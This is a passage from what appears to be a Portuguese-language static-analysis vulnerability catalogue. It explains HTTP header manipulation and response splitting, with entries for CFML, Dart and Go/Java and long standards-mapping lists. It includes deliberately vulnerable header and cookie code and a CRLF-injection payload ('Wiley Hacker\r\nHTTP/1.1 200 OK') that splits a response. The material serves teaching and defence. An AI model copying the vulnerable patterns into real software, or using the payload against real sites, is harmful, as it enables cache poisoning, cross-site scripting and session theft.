Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] Amit Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] Diabolic Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.cfml.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, cross-site scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou Open Redirect.
Explanation
Vulnerabilidades de Header Manipulation ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem validação.

Tal como acontece com muitas vulnerabilidades de segurança de software, Header Manipulation é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (alimentação de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos servidores de aplicativos modernos de hoje impedirão a injeção de caracteres mal-intencionados nos cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o 'content-type' de uma solicitação HTTP e o define no cabeçalho de uma nova solicitação HTTP.


final server = await HttpServer.bind('localhost', 18081);
server.listen((request) async {
final headers = request.headers;
final contentType = headers.value('content-type');
final client = HttpClient();
final clientRequest = await client.getUrl(Uri.parse('https://example.com'));
clientRequest.headers.add('Content-Type', contentType as Object);
});


Como o valor do cabeçalho 'Content-Type' é formado por entrada de usuário não validada, ele pode ser manipulado por agentes mal-intencionados para explorar vulnerabilidades, executar ataques de injeção de código, expor dados confidenciais, permitir a execução de arquivos maliciosos ou acionar situações de negação de serviço, apresentando riscos significativos à segurança e à estabilidade do aplicativo.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 113
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.dart.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, cross-site scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou Open Redirect.
Explanation
Vulnerabilidades de Header Manipulation ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.


Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...


A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor pode fazer uma única solicitação a um servidor vulnerável que faz com que o servidor crie duas respostas. A segunda delas pode ser mal interpretada como resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa capacidade de convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança do aplicativo. Na pior das hipóteses, um invasor pode fornecer conteúdo especialmente criado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de conta e senhas, de volta ao invasor.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, ele continuará recebendo o conteúdo mal-intencionado até que a entrada do cache seja removida, embora apenas o usuário da instância do navegador local seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo da Web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas (a resposta pretendida do servidor e a resposta gerada pelo invasor), um invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, direcione indevidamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques como a Falsificação de Solicitações entre Sites, os invasores podem alterar, acrescentar ou até mesmo sobrescrever os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark partial
[8] Standards Mapping - Common Weakness Enumeration CWE ID 113
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[16] Standards Mapping - OWASP Top 10 2010 A1 Injection
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A1 Injection
[19] Standards Mapping - OWASP Top 10 2021 A03 Injection
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.golang.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

